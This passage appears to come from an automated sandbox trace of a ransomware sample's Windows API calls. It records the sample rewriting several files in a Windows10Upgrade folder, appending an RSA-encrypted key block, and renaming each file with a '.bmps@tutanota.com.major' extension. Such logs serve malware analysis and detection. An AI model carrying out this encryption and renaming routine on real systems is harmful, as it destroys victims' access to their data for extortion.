dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.490] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=45768) returned 1 [0130.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb2c8) returned 0x5d7830 [0130.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb2c8) returned 0x5e2b00 [0130.490] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0xb2c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0xb2c8, lpOverlapped=0x0) returned 1 [0130.529] SetFilePointer (in: hFile=0x470, lDistanceToMove=-45768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.529] WriteFile (in: hFile=0x470, lpBuffer=0x5e2b00*, nNumberOfBytesToWrite=0xb2c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e2b00*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb2c8, lpOverlapped=0x0) returned 1 [0130.529] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0130.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e2b00 | out: hHeap=0x570000) returned 1 [0130.532] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb2c8 [0130.532] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.532] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.534] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.534] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="5DhbWKkq/LeaIdxPhH92CIF/TuYyTXF0c0wnMfDoC2bpopAaXBuIkPURs9Hh9ySF\n0qjkEMdKnwF2uhfj5W8BQol1hWWK3DT03TCHhrV9h/0zvF8d0hdIDPmwMMb8tn6p\naF6TpP0XB0tgfVVPMMpFKTHVUwj680UrqYeOTj/aqkTwzTcHfPlVIolZQ7iwoTvJ\nhhnzWjag1oSQAMNQ6sD7ht6jpNDRjqHs+0/0dH2oAs3MWM3f33eJ27GVDvPgylTi\nv7g00/+0nx75rrCRldoG7cvXNPcUZEf4n+Z7he7vtEsh0KwZKQOYnqM8mvKv7tej\nUlDFFo8T4jo0QbdoIYY+AQ==\n", pcchString=0x2e3f9a8) returned 1 [0130.534] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.534] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.534] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.534] CloseHandle (hObject=0x470) returned 1 [0130.535] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.535] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), lpNewFileName="\\Windows10Upgrade\\DWTRIG20.EXE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dwtrig20.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0130.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0130.537] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.537] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.537] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DWDCW20.DLL", dwFileAttributes=0x80) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0130.537] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0130.537] CreateFileW (lpFileName="\\Windows10Upgrade\\DWDCW20.DLL" (normalized: "c:\\windows10upgrade\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.537] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=49864) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc2c8) returned 0x5d7830 [0130.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc2c8) returned 0x5e3b00 [0130.537] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0xc2c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0xc2c8, lpOverlapped=0x0) returned 1 [0130.683] SetFilePointer (in: hFile=0x470, lDistanceToMove=-49864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.683] WriteFile (in: hFile=0x470, lpBuffer=0x5e3b00*, nNumberOfBytesToWrite=0xc2c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e3b00*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc2c8, lpOverlapped=0x0) returned 1 [0130.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0130.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3b00 | out: hHeap=0x570000) returned 1 [0130.686] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc2c8 [0130.686] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.686] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="+sbIfQ/iauYDJ/Io3XddYcFZHm1PRq612TQ7kQtMwTrINEUddyp4tQBCsSBEvEHh\nJJ65dvim+ItHkKbz++CQAL1cQsYNmXnVfA31y8txfVRzIMvxAMQq2iasWw+uo01J\nvVoFKwY8f7CGVoF5YqSM80Gwa9rq9r7S6LZ5CjXC3g26aunfJTZvkFJUmRhUaZei\nayHG9g3eHjGmMCejV6/CFoLBGx9oT5YdJhPF2NpLr7nHQSlAazoQfMBM6yFk8ovK\n9DUA+SaRUINJlR4TR6EJnendsqpIl9+2lGQo2VGcby4sMkwqZPXRq3ycy8QjdR7n\nZZeLp3GaQ5YS58+iCxFyOA==\n", pcchString=0x2e3f9a8) returned 1 [0130.688] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.688] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.688] CloseHandle (hObject=0x470) returned 1 [0130.689] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.690] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DWDCW20.DLL" (normalized: "c:\\windows10upgrade\\dwdcw20.dll"), lpNewFileName="\\Windows10Upgrade\\DWDCW20.DLL.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dwdcw20.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0130.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0130.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0130.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0130.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.724] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.724] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DW20.EXE", dwFileAttributes=0x80) returned 1 [0130.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0130.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0130.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0130.725] CreateFileW (lpFileName="\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.725] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=643784) returned 1 [0130.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9d2c8) returned 0x314b020 [0130.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9d2c8) returned 0x31f4020 [0130.726] ReadFile (in: hFile=0x470, lpBuffer=0x314b020, nNumberOfBytesToRead=0x9d2c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314b020*, lpNumberOfBytesRead=0x2e3f9b4*=0x9d2c8, lpOverlapped=0x0) returned 1 [0131.554] SetFilePointer (in: hFile=0x470, lDistanceToMove=-643784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.554] WriteFile (in: hFile=0x470, lpBuffer=0x31f4020*, nNumberOfBytesToWrite=0x9d2c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31f4020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9d2c8, lpOverlapped=0x0) returned 1 [0131.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314b020 | out: hHeap=0x570000) returned 1 [0131.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x31f4020 | out: hHeap=0x570000) returned 1 [0131.556] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9d2c8 [0131.556] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.556] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0131.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0131.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0131.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0131.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="IDrpVBqMVkm4Gel/ln2qYoLzHpWSgfQ2LrJpdDBhUKO8UTuwZpByFch+GhGTAh9i\nZkP8LA21966SXUMrlxQaH70Hj+DgvoU260h7de7gfDec9lSIWYUmw9IsjsJo3xlk\nNuxOMY08kxlTxra9d8jT5O5scriTej8WnibPYwwO859ZocpukTucfUgc6e5oy8rr\nDdqP+/6IJpprhYMH9ChsXsTKBF7kfnI4NH8ZOLhf0ian2UHqIDf82Rv6X9Uq8msC\n6jUMfvfhGBD5urVS6emvoLUNkyoB6alGbky34yvrbwEI4Ok0NYrH6ChNP90TMD4j\nIpcGa5Y3z8eMVcxBAXdFAg==\n", pcchString=0x2e3f9a8) returned 1 [0131.556] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0131.556] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.556] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.557] CloseHandle (hObject=0x470) returned 1 [0131.698] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0131.698] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), lpNewFileName="\\Windows10Upgrade\\DW20.EXE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dw20.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0131.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0131.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0131.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0131.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0131.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0131.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0131.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0131.714] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\downloader.dll", dwFileAttributes=0x80) returned 1 [0131.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0131.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0131.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0131.715] CreateFileW (lpFileName="\\Windows10Upgrade\\downloader.dll" (normalized: "c:\\windows10upgrade\\downloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0131.715] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=206536) returned 1 [0131.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x326c8) returned 0x5d7830 [0131.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x326c8) returned 0x2f40048 [0131.717] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x326c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x326c8, lpOverlapped=0x0) returned 1 [0131.881] SetFilePointer (in: hFile=0x470, lDistanceToMove=-206536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.881] WriteFile (in: hFile=0x470, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x326c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x326c8, lpOverlapped=0x0) returned 1 [0131.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0131.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0131.884] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x326c8 [0131.885] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.885] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.885] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0131.885] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0131.888] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0131.888] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0131.888] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="B+lbSSy1rC33t9JqUQ0kDy6entWg1WEtPo++CrakOpa5GngesqHABT7QB0KIsPJF\njFD6gQsWcENsi+vzURJEdwpaFg4ejRJHijua1vMUlEL8p6gEsDWgr07xR35L+2fD\npRtG8akjO66AVAuUat96X2GI5+FUep0hw9Qiad0FZC30LIytVV2Y1A4+rdQuCV4F\nznPXKec1hdHQRjV4sW8MIlbvXW6jX6crAN4XkxNLuerbQGR/RSn4c48lJooGhdrl\n1AhXHphfOddrP3l1QZvIuaI7hZC/Mzbqgo6V9N8rjZwcgvCI7+dQiZGeIZoIEuaX\npD5Dmm620kgkDJ6LULGCcQ==\n", pcchString=0x2e3f9a8) returned 1 [0131.888] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0131.888] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.888] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.888] CloseHandle (hObject=0x470) returned 1 [0131.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0131.892] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\downloader.dll" (normalized: "c:\\windows10upgrade\\downloader.dll"), lpNewFileName="\\Windows10Upgrade\\downloader.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\downloader.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0131.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0131.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0131.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0131.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0131.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0131.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0131.905] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0131.905] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DevInv.dll", dwFileAttributes=0x80) returned 1 [0131.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0131.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0131.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0131.906] CreateFileW (lpFileName="\\Windows10Upgrade\\DevInv.dll" (normalized: "c:\\windows10upgrade\\devinv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0131.906] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=329928) returned 1 [0131.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x508c8) returned 0x2f40048 [0131.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x508c8) returned 0x2e40f20 [0131.909] ReadFile (in: hFile=0x470, lpBuffer=0x2f40048, nNumberOfBytesToRead=0x508c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x508c8, lpOverlapped=0x0) returned 1 [0131.979] SetFilePointer (in: hFile=0x470, lDistanceToMove=-329928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.979] WriteFile (in: hFile=0x470, lpBuffer=0x2e40f20*, nNumberOfBytesToWrite=0x508c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x508c8, lpOverlapped=0x0) returned 1 [0131.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0131.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0131.980] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x508c8 [0131.980] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.980] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.980] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0131.980] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0131.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: 